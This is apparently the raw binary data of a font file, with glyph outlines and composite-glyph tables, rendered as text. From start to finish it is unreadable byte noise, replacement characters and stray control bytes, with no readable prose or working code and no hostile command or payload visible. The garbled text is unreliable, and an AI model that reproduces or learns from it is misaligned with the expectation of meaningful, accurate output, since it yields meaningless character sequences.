��������������4A�37� 6!>=4&+"#4&/"!.=432>32�(C3��6A$3-?�7*2'G:��3D(��3a$#W2���:uuu;:mhb/�Y[�l�Y[�0ein:<wus9Q�$##$��bp	-! 4>73326&+532674&'$5!#p���&#�	}rar}l{�Na�r��%��PUjk��349 !524!vr���ML6B<�L,��]�)<�a�nqO)%!"$'!32>55 54%5%q��&rd<_C$?�>
7C%
B��h���Z��kj5P6ICRc9Q{R*�]�F���A!>54.+"#4.+"!.=4%2>32�	"B9��=G"	
@�
E
"HB��9I*���%��^?m$(hL���<vut99mie150!)�p�!05�8nop99���3W�$ ��"�p'#!��aq�%! !32654&'.5467q���'ypgrB6*8!
|�G,2.; [[
��
� ����Mb247N�R~)-0/��m�?! 4&'#4>73! 717ds�re��G��u�w��D�����L����1��2����iD��h����q�mp@D%# 4>73254.#"#'4.#"#".'32>32>32o��*8�	�p� "'�
$!#-#!$3+*<#'*"*5#5I#&rA��/���)WRGm3^5sp��9T7��6T:$,%	)0( ' C77C���n�*S4&/"32>5+".5;2>=#57##54632632o
#/&�A}�v"j��H"<S1.R=#YY�!L{[�h��Dn&T���0=!$>.")8"��)7"'5�Ai�Z(.d�p(;B!(:&����l�m7�,��$!E��6`RD:AD"b�no�7%! 4>732>54.#".5!2<645!o���
3%�~v1R:!:aICN	��
�KF9f��#@?A#A3c1sp"GkIw�x=8;,(&W"<:@'H	 657!9�m�*F>7$5432>32>54.+"#4&+"%.'&#"�5����>d&'kF��+C0�%8%
W�B%����*��+4)"^?�&2
�L�$##$��B>me_13UKF%J(1�^�1(ߧ�GV؅%=/"
9<d�np
,! !>=#".54>7!3265!p���7�dl"847!���@8aJ7=T73L3qu%�u�]_�'/k�{Brjg6=_L?:9!GY3Z]�v@4.#"326%! 4>34&#"#54.#"!!2>3 P <U64Q9%Fd>V^'����@���Cl-17%*�#%��Z�%#{RlSk?>iQPwN'�y���r430RQ	np	5Q6�UOQS��bp/4.#">3!654.#"!4632�.B(BH18F-8����Ĉ�"A[9ch������2)4]F*�0;!US�%�	���p��OqJ#�z�������5f?Zu�9�o�P4# 54>7!2>56+532'6&'&'!{PHY[;�Ә���2P:�*8#Qh;s��a97�!+)]h�Fy1@�X~�?ca\N���byA���C��$O|X�·+=8�BR"vbp�
4.#"32>%! !2J <V6��7V< &������$GB9�]�R&����!HpK���$
-!:^�L32>54.#"4>32>3 !4.#"#54.#">72!".5� 6I+>^>9Q46U< ��2XzH)PG:&�Z��%#�*%++xC���@���x�y<NuO'!GqPQoF?kJqL')=)QS�Z6Q5	pn	1)��+8:z�����M��{b�nn�G32>54.#"! 472>'4&'.'" !!3#},69.,59/����
uh5V; `P4=���
"1��)�UU�&C11C&%@//@���\�l�� $$c]5O5Dn*0V*\b��E#� F4/T9�ao�4&#"326%!".5!>3Jyhluxlgw%�����ÂA$0oG�����������L�ц���<5a�np�(%! 46772656&'.'7%!%p�����@A�qfm~`Nbc��dx��ed`d���Q�U�2]3suioU�'C�H�5e)��O���M>H�bpA! 5!32654.#!5!2>54.#!5!2>54.'.53p������%ofl���

��!<T3���1Pc3:;=C��}�����pjJR+2	��
��(�=^!a<vFbc�npQ! 47>.'!32'4'#53>54.+532654.+5325&'&'3p�0��%!���F��"$	��"#	��F���$8F#�<BB<H6}��O����F~�UJ���Gl���r��%5$.	�/>#�`/-�$
>�GbbEJp=��@Nb��p*#>'6&#"267.5% 7$'�okk}mft�Hj }{��&mC���[���$#������aX����X��Q�Nv+a�np*"% 7326=4&#5326'!%p��+*/vgi|����ro�����z}|�`��{jdtjypû��� ��d=�|a�np8%! %32>=4.+53>7#.54$"32$7p����&wg4U< !>V6��.S@(9=<�A!!���k������Z�}}3O55.G/�0QsH
	4c�]ʽ�db�ko����B)�sm�'#"325;54#"! !35#$! 3#3ʽ��y������&������kkk���4��������c{L~f����L��o�*34&+"265%!"'#52>'4&'#&3$5!2>3�##P#3d!&��<(��+I4bz�_[�R(yQ\�@<<�5>:<<X�Z���-C,' DG�ҧ����X.*�eM�m�*)%! $'%$54#"'46323274.'7������[
W:0���������؉&����vzU`�
*9!H����ޅB���,($��c�mqE#!32654.'%%"'7265!! $5c&rudv?gLQj?���X�dv&�������HEy~8mhe0b>~�C�%&��z{�7��P�n�8654#"!6=!! 47.x�������]~�h�����q�!"�����:��b}�^oo��N�c5��=T+(4&'.#"'67.5%'>54'"�3SN�Im2R:͡�86�okC/X�C�.L�|n#,m|�I�'�����bz�D�wwLu*.T*kP1��3#3#3#���<���л���~�R4#"322"43!%"�\PUX]������'
������*C�w;l5���{@32654&#"26=%!4&#"5>32>32+3267#"&'#"&�IWY@=?=�&2~2�=�d_<x;2}Sg�*)�b����LNL9�JJ�@b}#�\���RNKGKVX��}^^}Ӑ�;:�,*TPTP����3]^76�''>A=B�/f��k{2#"'&'5327654'&+5327654'&#"56763 )�HI���]hjy�Tlz2US>hu�2@`g#qriiXohib'���(@BW���	&1E� OY"�[\p��i��gd	
%!!5!!!!!����������%��b��V���{ (3!4&#"5>32>32#"&'#"&26=7326&#"�c_<x<1|Ub�/+�d����c|)�\���3|2�:MN;;NM:��;:�,*JJMG�����;B<A�/T#t]_~��䅆b/o{
32!4&#"b����xjix/=��񥹹�a��n/
#"!3265n�����%xjix/���=����)��)!264&#!!#�'�yh�~�}`�]f�&D�X&���h��(����5353!!264&#!!#(������UIbX�>uAH���v��&D�X&���h��+���0)5!264&#!5!264&#!5!#GD����}TV{�1�{VT}�1`tBMQ�!fJ�o�&d(�(d&��n�p����
33#'##hX���:�8�I���������#3#3!5##3и�����6��p\������D���c"���3264&#32654&#%!2#!�|XHLT||F<>D��0��\\ln�����6�<F�-43/�jiQZ	nbym,���32654&#'32+�2n\\n�������K��{��z��D�D���!!!!!!���J�pj����D����D���5!5!5!5!5!D���j�pJ��ۑ����*���5#5!#"&54632.#"326~"6�J��Ⱦ8n0(d<jjf`,3����)*�����,.����
:���333###:�길��?��t��P���5!#3!53P0���мN���� N���53265#5!#"&N6z>JD����<��14AG���ș����33	##�"��4��R��J���x]��D���3!D���D�N����33###�ppޠd�d��o�����n�b0���	33##0������`��`��0���	##3����Ƥ�`��D��`���	"265446  &��BB�@�.�H�����[���������������2���32654&#%32+#�LZJJZ���Ī��D�U�7DC7�{��{�����#'&'&+#!232654&#�(��r2D:���`��VLDBN'%4���	^��Dr�Vf$�5>=4���##5!#ĺ�������(���32653#"&(�F�H��������?GG?9�񫚚����333##�DP�^4�l�jd����sf����I)��
%"326=7#5#"&546;54&#"5>32�gR81IQ��"h?y����A?B}C=~G���/:*3bX?��F)-qeni() �|)��
,27654'&#"367632+32767#"&*g))1J((��"35?x�QO��! ?B>?B<~G���9*20X@fF*qen54( �|0��53#5#"&547632264&"鸸//@y�DC~8.,�DxEEx�Y��]6���UU��gg�g���@32654&#"26=%!4&#"5>32>32+3267#"&'#"&5�.78('(&�� O ��?<&K& O4A^R>em�010$U..Y(>NR:p\..+*(*01�
F55F
vPU! �/-0,g_hg45�"%"%��0��4&"2>32#"&'#3�DxEEx�"Z8~��y@^��y�gg�g�44����76]g0��3#5#"&54632264&"鸸^@y��~8Z�DxEEx�M��]67����4��gg�g��#"&54632!3267'.#"�@�J�������"a`@{D�HG?L�������CJH #�ABE?��>32#"'&=!.#"327679@�J�^]���WV�a`@{D�$$G?&&�TT���RS�CJH #�@"!#"?$��2&'&54632&'&#";#"32767#"'&546�X-.��:BCLV5DM64'BJt)<AGHBB8FBB>�bek�$%1aX�
&z,2
	�33?HS$��2#"'&'5327654'&+5327654'&#"567632�X-.��:BCLV5DM64'BJt)<AGHBB8FBB>�bek�$%1aX�
&z,2
	�33?HS.��	&4&"26#"&'5326=#"&5463253�HtGGtH���:r:4l:NJYAx��w=^��TeeTUee����AFC,,����2.P'm�	
!#5!#3#53y����浵����~~���Q�&��373##&����?��7��w%5���>32#4&"#4&"#3>2�A.\E�?�?��FUG�(&p����F/0E�m�E0/F�msA%+-M��+532654'&#"#3>32�:8�L?312��_Be333���<<~=JfD('G��s^49:<"��	"3264&632#"hBLLBCLL�w��������h�hh�h��0���бO��053264&#"567632#"'&O*./6ZaaZ41/)4558�\]��>65��!e�f�WX�ʮ"��
4632#4&#""�����LCBL՘���\hh\"���
#"&533265������LCBL՘���\hh\0��#3>32#"&64&"2踸^@y��~8Z�DxEEx�b^67����4��gg�g9���3#;#"&5#535���.6���p����~��*$~Zz!~�M��32653#5#"&M�+d8��^Befw���D:OFh��]49v����!5!264&#!5!#�5�MAXO�k�h:@���&Y2��S;Y\��"#"'&5326532653#5"'&;A.\"#�?�?��##U$#�(&88�a�nF/0E��nE0/F���A%��#3���໖���s����&��G�d��U|�Y�d��M���sA�d���sD�db�XH}(%32654&#"6!2.#">32#"&'!�r]\qq\]r���\�]S�[|v+�f���`�+�ۓ�������W
���.,u|yPN�������ZR���:���jh`53!5!!3#!!5!5�������l�l���������Z�XF!5!;#+532767#"&���NRb�SZ�y'b+"Ѷ�`��n9}+�dl�7,d�0��#367632#"&64&"2踸0.@y�CD~8Z�DxEEx�Ys]6���UU4��gg�gO��#"&632.#"3267�/k>����8j4)`4ZaaZ6]*��6��!f�e !JM�,;2'&#"763#*''47&'&7632&'&#"�$"]R4�Ak��A~3'\]]�8554)004Z01 *
e��@4'$W6XW�33^V%��
(.#"32654&7#"&54632''7'37�>BMKAEI	J?6������(e�#�c�:�*�FQFXdea7�M�U������zBA=qAHEB$��(#"&'532654&+532654&#"5>32�`kǺ>�F8�HGWetJB[UMyVL�:��[�
SH?f�2,z&"�
Xa1IJ��3###53546;#"��ٸ��i���*F7~��~,qW~t�]33#+532767#53�ppAD�p'@����v?C�B�2��(#"'&5476;#"'&'53265"326=�'[<kDFFDk����62330^.\Tz9@<:@64[Z�~[Y�̎�		�V\�\TV-,[T�M��332653##"&M�+138��_Befw���D:OFg��R49v'��3#!3#3!535#535#���m�}寯��Q��mw~~wm�?��
#5!;#"&5�n0@u����~��R2��}'��3!53#5!��}������~~w~~'��535#5!#3#3!535u���嗗�}��m�~~�mw~~w��@##5330#5&76;#5!&#"?276H��jm
,9�w�¬�t�
�C;C>
����v\/<���~�g+#,��
#5!;#"&�t4=�ǃs��~��J>~y,��#5!;+53267#"&�t4=�57�L>0�s��~��J>~x;:~78yx�Y3!!y���0���3>32+5327654'&#"#4'&#"#367632�@/\#"-.n>3 
�
 ��"#+*$#�(&87���z8=~J|FD�m�DF�msA&��"#"&533265332653##"&;A.\E� � ��F+*G�(&p�a�nF/0E��nE0/F���0%+-��(#=4'&'.#"+53276=367632ż	
&:!"98kM4�*0/9e45��>�R10U�{rCC�K{�\7BC��"4&'&#"#367632;#"'&5�6&!��*/09e445Jj8<0(
1*[��s\7BD~��K�CGn0��	33##0������l��m��"��
!7632#"'"!3&'&+3276"XY��XYYX��Y�B&&E�	&BC&=0XYYX��XYY�4(??(4��-44���#+7675#5!#3!535&'76764'&�fHm�/�mHffHm��ѻmH�//�//=0X@q~~q@X��X@h~~h@A^4�4R��4�4O��:&'&#"#"';#"'&=327654&/&'&547632S3787> �5e/.GH�()?L�99=?@;A!"0Y3i10IJ�;<;��-/0Pa10.~=<�� "
-.L[22	��+532765476;#"�5:�Ȕ>55���*�y8<~ I�q,+~
$9���3#;+532767&'&5#535���.6�59�L>�28����~��*$~x9<~8)-z!~���"#5#"'&=#533333+3276��0/Ae4344�ƹ-��12��]4;;um����mD'!b�$327654'&'5!##"&54767#5!?)H;<#$) �/,#����"'1�%q+-A<Ob11O<A/(�n!K<Y����[>G%n��$#'&=#5;?27654'&/L)%OO|Fh99ee�<+&+l�!J=X�YXDC~�D~¯_71P<@/(f��3#��໖��s���G��	!!!5!V4��s��t�����{�y��!!;#"'&'!5!4��t?L�95�tt�����dJ~=7{�y.]�3276'&!367632+'47!5!��?3���;1����t�� (����B3_��$�y)��7!5!#"&'532654&+����4�[1G^��A�A>x;W\_\j��z��
yP|��<79;"��
.#"3267"&54632�BCBBADEA���������l��l~h��h�����������!�
��&$���^�
T{&D���}�k&%������w1&E�d��}�2��&%�����2w&E���}�j��&%�����jw&E�����oAk'��u&�u&����opf&vf&�HF���uk&'����Z��;1&G������2u�&'����Z�2;&G�����ju�&'����Z�j;&G�����ou�'��H'��Z�o;&��G����u�&'����Z�;&G�����J�&(���\�}{&H�'����J�&(���\�}{&H�'����oJk&�2&(���\�o}F&�2&H�'���Xk&)����;k&I���u��jN&*�2��b�XH&J����Hk&+����/k&K�����2H�&+�����2/&K����Hk'�u+���/y&KjH�� �oH�&+�����C�o/&K�������H�&+�����/&K�����%�&,�������&L���u�k'�u.����k'�uN��u�2��&.�����2�&N�2��u�j��&.�����j�&N�2���2�&/�2��Z�2F&O����2N&����Z�2FN&�����j�&/�2��Z�jF&O�����&/�2��Z�F&O���V{k'�u0��R�f&vP��V{k&0���R�1&P���V�2{�&0���R�2�{&P���wXk&1����/1&Q���w�2X�&1�����2/{&Q���w�jX�&1�����j/{&Q���w�X�&1�����/{&Q���\��u�'�2'�2��b��o�&y&R�����{r&3�w|����Vwf&S����{k&3�����Vw1&S�����k&5����#1&U�����2��&5����#�2{&U�����2�N&�����#�2&������j��&5���#�j{&U������Vk&6������+1&V�����2V�&6�����2+{&V�����2Vk&�&6�����2+1&�&V���Zwk&7���o1k&W���Z�2w�&7���o�21�&W���Z�jw�&7���o�j1�&W���Z�w�&7���o�1�&W���j�2f�&8�����2%`&X���j�f�&8�����%`&X���j�f�&8�����%`&X���j��f�&8'�2������%�&X&y����9�T&9�\��P�&Yy���9�2��&9���P�2�`&Y����r'�|:���m&C�Z���r'�|:���m&v1Z���`'j/:����&j�Z���k&:����1&Z����2��&:����2�`&Z����k&;���7�1&[����k'�u;��7��&[j����k&<���;�X�1&\���s�r&=�.|���9m&]g��s�2��&�=����29`&�]��s�j��&=�����j9`&]�����j/&K���o1&Wj�����/&Zw��;�X�/&\w���;k&A���b��o!��!�2��&$���^�2T{&D���!�2�r&��|��^�2Tm&�g���!��'�&$����^��T�&��<��!�2�k&����^�2T&�u������2J�&(���\�2}{&H�'���Jm'�1u(��\��}&y�H����2Jr&�|��\�2}m&g"����2%�&�,����2��&L���\�2u�&2���b�2o{&R���\�2ur&�|��b�2om&g�����k&b��u��	���f&cv������k&b��u��	���f&cC������m&b��u��	���9&cy����2�&b����	�2��&c����j�2f�&8�����2%`&X������k&q�vu�����f&rv�d�����k&q�vu�����f&rC�d�����m&q�vu�����9&ry�d���2�&q��v���2��&r��d���r'�|<��;�X�m&C�\���2��&<���;�2�`&\�,���m'�u<��;�X�&y�\��6���r&����6���r&���6���r&����6���r&����6���r&����6���r&����6����&����6����&�����r'�H������r'�������r'�������r'�����p�r'�{����4�r'�g����T��'�H����"��'�������r&������r&�����2r&������<r&������xr&�������r&����Jr'�I����Jr'�I�����Jr'�;�����Jr'�;����gJr'�r����5Jr'�h�����V/r&�����V/r&����V2r&�����V<r&�����Vxr&�����V�r&�����V/�&�����V/�&�����Hr'������Hr'������Hr'������Hr'�����+Hr'�6����Hr'�6����(H�'�����(H�'�����r&����r&���2r&����<r&����xr&�����r&�����&�����&����%r'�I����%r'�I�����%r'�T�����%r'�@����q%r'�|����?%r'�r����U%�'�I����U%�'�I���b��or&�
��b��or&
��b��or&�
��b��or&�
��b��xr&�
��b���r&�
���[��ur'��������ur'�I������ur'�O������ur'�O����%��ur'�0������ur'�&���L�r&���L�r&��L�r&���L�r&���L�r&���L�r&���L��&���L��&����z�r'������m�r'��������r'���������'����@���r&���@���r&��@���r&���@���r&���@���r&���@���r&���@����&���@����&����owr'������)wr'�b�����wr'�O�����wr'�O����>wr'�I����wr'�I�����w�'�����}w�'�q���6���f&C���6���f������f&C�����f�����V/f&C����V/f�����f&C��
f���b��of&C
��b��of��L�f&C��L�f��@���f&C��@���f��6�V�r&Ϝ'��6�V�r&Ϝ(��6�V�r&Ϝ)��6�V�r&Ϝ*��6�V�r&+Ϝ��6�V�r&,Ϝ��6�V��&Ϝ-��6�V��&Ϝ.���V�r&�/����V�r&�0�����V�r&�1�����V�r&�2���p�V�r&3����4�V�r&4����T�V��&�5���"�V��&�6����V/r'��C����V/r'��D����V2r'��E����V<r'��F����Vxr&G������V�r&H������V/�'��I����V/�'��J����VHr&�K����VHr&�L�����VHr&�M�����VHr&�N���+�VHr&O�����VHr&P����(�VH�&�Q���(�VH�&�R��@�V�r&�{��@�V�r&�|��@�V�r&�}��@�V�r&�~��@�V�r&���@�V�r&����@�V��&����@�V��&�����o�Vwr&�����)�Vwr&������Vwr&������Vwr&�����>�Vwr&������Vwr&������Vw�&�����}�Vw�&����6���F&����6���&����6�V�f&Ϝ���6�V�y&Ϝ���6�V�f&Ϝ���6���9&����6�V�9&Ϝ���!�k&����!�N&�������f'�*������f���!�V��&������	r����V�����	r!55#5!	����A��x�����9y��;��'�Tj����V/f'�������V/{'������V/f'�������V/9&�����V/9'������Jf'�D�����Jf�����Hf'�&����yHf�����VH�&������2r'6������xr&n�.�����'������F&����&������&��
�����9&�����&����%k&�����%N&�����)%f'�b�����%f�����<r'@�������r'�������'����L�F&���L�&���L��&��L�������Vwr&�����Vwr&��L�9&���L��&����k&�����N&�������f'������f�����{r'�5����;��'rj��-;
�������fC��@�V�f&����@�V�`&���@�V�f&���@���9&���@�V�9&����8��uf'�q����U��uf����Bwf'�{�����wf���Z�Vw�&������
fv��	r5!#7 �@�����x-������1��0!!-w�����-�������/�1��0!!�/������/�1��0!!�/������/�1��0!!�/������/�1��0!!�/������'_�_������&BB��L@
tW���1��0!3����c�~����L@
tW����1��0!#:��b��j��o@
wW����1��0!#�9��co����L#�b������9&@	t	
WW��������1�<�20!3!3����b����`�~����~����9&@	t	
WW��������1�<�20!#!#9��b��9��b�������9o&@	w	
WW��������1�<�20!#!#9��b��9��bo������9#!#�b��Ab��������;3�$@f
d?	�<�<�1���<�20!!!!!5!�L�����K�}��8���;3�9@ff
d	?
�<<�2�<<�21���2�<�2�20!!!!!!!5!!5!�L��L�����K��K�}�+�}������`���1��0467>32#"&'.736�HI�256743�IH�426�I�235624�HI�447743�?!�!?q�H9�o#@w
VV	V����1/<<�220!!!!!!q'��d'��d'��o��o��o����$0<HLp@?J%K+I"L71=
�+�"�%�j4�C�:	L(I1KJ\\F\7@\1.\1(\/�����������99991/<�2�2����29999904632#"&5%"32654&4632#"&%"32654&4632#"&%"32654&%��ww��wu�2IH33JJ��xv��vw�4GH33JK�ޥxw��vw�3HH33JK��'��!x��wx��w�K24KK42I�x��wx���G45LM41J�+x��wx���H35LM41J��^�\��1<HWg"2654&46367636762#"/#"/#"&"2654&4632#"&"2765454'&!"2654&#'��-@@ZBC�גkjIIjiKIӕ�jhIKihJKhj�4GHfJK���xv��vw�h,A?[!  #?,  [AB��^�\�H35LM41J}x�TSTS�wx�STST�NG45LM41J}x��wx����K24K&$13$&& )+ &K42I�`J�!����`u�����`�'3�3�D��`��'3w'3��3�`J�#!J���`u���`�'6�6�B��`��'6w&66��Z�/#@
U��291��90
5/���+#��������y#@
U�<�91��90	5-��+��#�w��v������"�'��4�)�#'!6763267654'&!��[`bede��""^XD#.���S#F8��LAB\VC)*=	�%(+C"	�����M�B0����_ $'5 $���������SLU��SPPS�EFE����!#3#3!�������������/��+!53#53#5+������޾t�t���&��'���4��&3�'��D�����'���4��;��
2###���ͼ���農���������
'47632"'"2764632#"&$"H�� !! �  �(���TUUT��� <XFF��HFFE4���ll��ll�&��@	
!3!53#3#Xn�|洴���~~w������
E@ 


%�	��^
�<�<�91��<�290KSX��Y"333##5!5���mm��w)�������%���#!!>32#"&'5327654'&#"G+�y8 �`_gf�A�F3B;=j8777\6677ߑ�ON}�LL�
&%GA('���
("264&'&#">32#"'&54632��"##"�F�081.nr dD�KLUT��UT��033?'&JI''N�ݕ
xv%$GH��MMff���	���!#!����M�U�u�2����)7"327654'%.5476  '&547672764'&#"��**TDC**)��NPRSRS('LT1/VW��WW11k"#x"##"<;##"#tF$#9:#i^Cj;<<=hC/.86Mz@AABxK97�1b��� .532767#"'&547632#"'&27654'&#"J081.m99!22D�KKTT��UTgh�033�A"##"ABF##��
<;w$HG��LMff��kl	�''JI''N�'(��8!!#5!5!5����8������G!!��LG�A��!!!!��f��fƅ���#.67SQQS�dabc��~|������3#>54&��dbbd�SPP�������|~�I��#4'&#"#367632��23��00Df433�i~D('G��s^4;;�����TF�d��9�C{�d���Tt�d�����Tu�d����CH�d��%���CI�d�����TJ�d���CK�d�����TL�d�����TM�d��4��N�d��%��O�d����)P�d����ifQ�d����ifR�d��)����,�d������2�d��"����;�d���t�d������3�d��I�hV�d��&�g8�d��'�h}�d����9�d��I��S�d��0���?�d��J����~�d��9�%@�d��$!!!!!!#"32.#"3267�$��I��i��8w@����@w88l<kzzk<l8`������**99*)�73Ʈ��27Y��o9)06&'#7&'&76%7373&'6767#"'#&'G:5�0+'����00
�*43�WOVWV�f�IH4`%b/9�8<

s�$-�ef��JPj�
��,�e "I��78>!F��i�+�E��h�,6767# !2.#"3>32.#"!(%PQQ�_��M_�QQ�X��Z(3�0zW!@!_f	"I��77�ef�87��ID����: ̦c[����[�!!!!3#!#5����/�Ѳ����z[����X��"XnS�#67632.#"!!!!!!35#535#56kp�Q�N=�Dh1.I��I���ȫ����w|��'&>:r���
��'�B�0#4'&#"#3676323632#754'&#"#�m�4C#$��+66CJ97wn8 |��2@%
۾��75UU���`�`/085cs���VH)v75TR�����#5#535#53!3!3#3#!#!3'"aM��BBB���nAAAA�R����lbMx��������J��J���J��J��������P3264&##532654&/.54%+#!2333632.#"#"'&'#"&5�\1551:%S2-./hT��,C{n�{C2,��-B+^71]*,+!*wSsr04}]M��_m�l���%N9"/:90/
��# �U���~^�>�� ��0035+.	#�����������F2654&+#.+#!232654&/.54632.#"#"'&9C;;CZ�f?5<�H��PP,E$ 8;?@;;)=#�k��7yH@x597*6#�i��>A?ZgfX����spR����֔�-�v/:90/
���� ��0035+.	#������"&)-1'#53'33733733#3#####5373'!37TE1�����1DThp�rJr�rh&;;���x;;�#����v�������v���V��V���B�vv���B�vvvv����
!2#4&+!%"3;!��տQ~����P�տQ~�����Y���*5=Y������<�n�&��l���5�1�@9&(
� ox#�o
xn#r/21('/),&,
0',2��2�2���99999999991�2��������2�<�20@���]]632.#"!!!#3267#"'#73.5467#7�,$�S�DJ�Mk��T��<T��mN�JB�T��,�T`�T�$$��NH���$$ ��HN��$$�� �2��!!!!!!#5��A�3?�����T��]`u��!����8L��Ș��!'75'7!!!77��d,�d,��.�9c,�c,<��^:MS�:MS�#���9MR�9M	�7��(_t'6767632#"'&'327654'&#"67'6767632#"'&'&/#"'&5476323276767654&'&&#"32cnS('6& (!((7 :*#��X

l =ghRN/,*
"1 "'0' )OG(*&"B&[
)1#$=��	�7+Уc]97#9X�zav24?�Le;&2ELyP)+�'+>AHJB @@=kb��q��~Es/4	
%UAB`_KBj��oD7=AiK}f^[�@�������)5'32327&547632#527654'#"'&#"654'&#"ؿ��lCm(�IQ��XMb����oB0?i�qK:(/$3!%�Dl��X``S�㫣��lm�@.jVBthP#l�H+990C�<��#(/! 3#3#!#!#535#53!327676'!%&'&+��5�\cVVb\���n��ffff���y�;*��\

;�y�nK�g((g�Kn��tgPg��M1w((P�1K,�[�x$-#5!#5&'&76753&'&'6767�uOrz^b�፭���]Xl`bPgh"'N;��]=mi@^T�KF#����eiϥ"��7�?&��
6�#P������U"��53!3#3#!!!#537!!/3':�?��+}Eh��g�xh��hF~+$++�P(��U����e��e������63267# $545#536767!5!654&#">323#!�xml�vh�o���
O��9+
rk`�_e�g�|�P�=5�YcRT��45��		�2
f@�PVFC ./���_T�.��� )%#&'$%6753&'&'6767�_h8:�Ь���ݢ:8g_Q\DGHB[T�%;/��+R7��r�~o�r
��7��N'��(O�Q"z��!Zw�!!!!!!Z�����������-Y��gz�%#!#!'&+532767!7!&'&+7zV�V�5K�,!0���Ok��y4
�/Xy
4z�X��8J�_@[	  _��y,��>*�*;�
��+'75'7!772$5�fix��^��8��8�'�:��:�V��eta!Yys�Yyt�X{r�Y{s�y��f{�! !#!!!5#535#533264&#09���������'_uu_��b�������rv�v���1� %3267# !2."_|d�T	Ȅ����E}�=[~�oi��
�7@,�L�]r�4�*:0N����̾���'1.#"3267#"&632#3"32654&'2#"&6�5::@@:!;2.M'����'M�#�+//+)00)����������@!v�v#B������5��qtsrrstq�T������3!3'!!!!!!���+��a�a���#��]���x��}�+� ;`!>54&#"!!>32N��ۅ:7Sty��/#t0�e��	�(�5:=������\g�L;`4#"!'7!7>2!6+qSty��қ7�?#&�B��00����ۅ
w����6<u`E�d{��\g�;^�(�42��
	3%!3!#6�����df�U��f]��x��K�+C����!  "2!!!463"!#5265eb���<<�b���)���W �ٔ��W  ����þ�����>;��N���>;}�N,7?2#".5467>"3267>54&'.!2+#3264&#h�ZZ\[��~}ڶ[\ZZ�~c�IGHH��cd�FHHHHH��ss�������|AGGANZZ[�~}ڶ[[��}~�[ZZ�GIG�eb��IIHH�be�GIGwuu��`�7e5J��3%!2+!327&+67654'&����J�	�����m�5//5��=*__*]��x����~�#�g)Z��Z)����'%!# ! %27&"676'&|������F"C��ob�bb�bn�����%���lk��h�����43�34���������a���%-13&'&7!.+!!2!27&#676'&%3{THv�u2M;o.a4��w�5}f��c��d)���1ED�)�m=���s@1F�~�h�|h������b)���t��L<M!0���f�A@$	

d	F	F
FFF/�������91�<<�2�<<�9073#######5�dYЙkKu�T���������KB��C��
��
	3%!!!5!F�=���x�C�`��W]��x��'x����Zw����u��.��!�m����-*7327673 $54$32!"53!25&'&#"�7L|�|zW@eoT����ڣ�'��(��+�:N}y}zN8�M3TT<`�3Z�A��E�����]\P3RQ4O���	
!!!7!#!!3��-�-���%C�����`�xxp�������p��/��w{'{���&�K�V��/��z{'{���&�M�V��/���{'{���&�u�V������'t���&�u�V��/��y{'{���&�I�V����y�'t���&�I�V����y�'u���&�I�V�����y{'H���&�I�V��/���{'{���&�J�V��#���{'I���&�J�V��/��~{'{���&�L�V����~�'u���&�L�V��#��~{'I���&�L�V����~{'K���&�L�V��/�w{'{����������&�'u�VF���B���	5!!B#x�4�̂x�#x��x��M		'#'�"x��x$M��x���4�x#B���		'7!5!'7���x���4�x#��x��x����M	!737"��x��x��#x�4�̂x��B���5!'7'7[�x��#x��x#��x���x#�#x��x�ݎ��x���M'3'7#7��x$�"x��x�ގ��x�x#��x���x��#x���-	7!##�v��<��Ļ	v��Ĝ<����7	#5'#5!7��Ĝ<��	�d��Ĝ<����6t	%!537536v�d��Ĝ<�Wv�<��Ļ���-u	'33v�<��Ļv��<��ĻB���3!'7!5!7���O��x��#x�������p��x#�#x��pB���#5!7!'7'7!'ޜ��O�x#��x��w�����p��x�ݎ��x��p;m�6#7!#32767676767676&'&'&#"#"'&'��v��
"!0	#?"A=&.&>�
#!$5>+;6-0$(��v�#*%;(#8MX!GL!!+Im�6#"'&'&'&'&'&#"'67676327676'#5!#�O$0-6;+>4!#
�>&.&=A"?,.!"
��v�([+!!O7!XM8#(H.%#�v�dB���!!'#537���x�Z�x��#x�Z�x��x��x#�#x��x��M'75'3''#��x��x$�"x��x���x�Z�x#��x�Z�x��B���'73'7'7#'7!5,�x�Z�x#��x�Z�x����x��x�ݎ��x��x����M77#75'73؂x��x�ގ��x��x��c�x�Z�x��#x�Z�x��B���'!5!7��w��>�x��#x��x1�x��x#�#x��xB���'7!'7'7!'4�x�‚x#��x��>�w1�x��x�ݎ��x��xB���
53#5!5�����x��#x����,��x#�#x���M
%'3'3!5��x$�"x���,�r�x#��x�����B���
!'7'7!#3r�x#��x�������x�ݎ��x�����M
7#7#5!؂x�ގ��x�������x��#x�r����M%7'3'7!!5"��x��x$�"x��x��"�,�#x�Y�x#��x����x����B��(276767654'&'&'&#52#!5g
	@16T)+51@��x��#x��



	�Q87;=49(*�x#�#x�B��(!'7'7!"'&'&'&547>763"j�x#��x���@15+)T61@	
��x�ݎ��x�*(94=;78Q�	




B��$=+#5#53547>76"3276767654&'&'&g@16**)+50AG��x��#x��T61@
	G


))87;=49(*��x#�#x�H;78R�	
H



	B��$=23'7'7##5#"'&'&'&54767676";54'&'&'&j@16T�x#��x���GA05+)**61@


G	R87;H�x�ݎ��x���*(94=;78))�	



H
	B���F26767676763226767'7'7#"'&'&'&'&'&"#"'5[
#$!
�x#��x�,"	
	
	"/�x��#x�



%$


�x�ݎ��x�
"

 !
�x#�#xB���#'7#533'7'v�8�1��x��#x��8�1��x#��x���'�x#�#x�'�x�ݎ��x9��~�
7'7��c����kn�"��[�	k��Oc�u�P�%���8�5!#Ђx��"x�h���x#�#x��w���!#!'7'�z�f�x$��x��W��x�ݎ��x���8e!3!5����x��"x���w�x#�#x���e'7'7!3�x$��x������x�ݎ��x���W�5p!5!7#7[�_��x�ݎ��xw��x��#x?���^!3!5Xx��x��"x����x#�#x2X�
'5476767632#4'&'&'&7#7,#!A=PNZ]KS;>#"�!*#13#'D�x�ݎ��xq!TPA>!  #<?ROZ/)(" C'%�x��#x2X�
'7#74'.'&'&#476767632��x�ݎ��x�D'#31#*!�"#>;SK]ZNP=A!#q�x��#x�%'C "()/ZOR?<#  !>APT2���V
5!7!##2l��v��<��Ļʌ��v��Ĝ<�B���
	!!#33#'7!5!'7x���p�x��������x��p��x
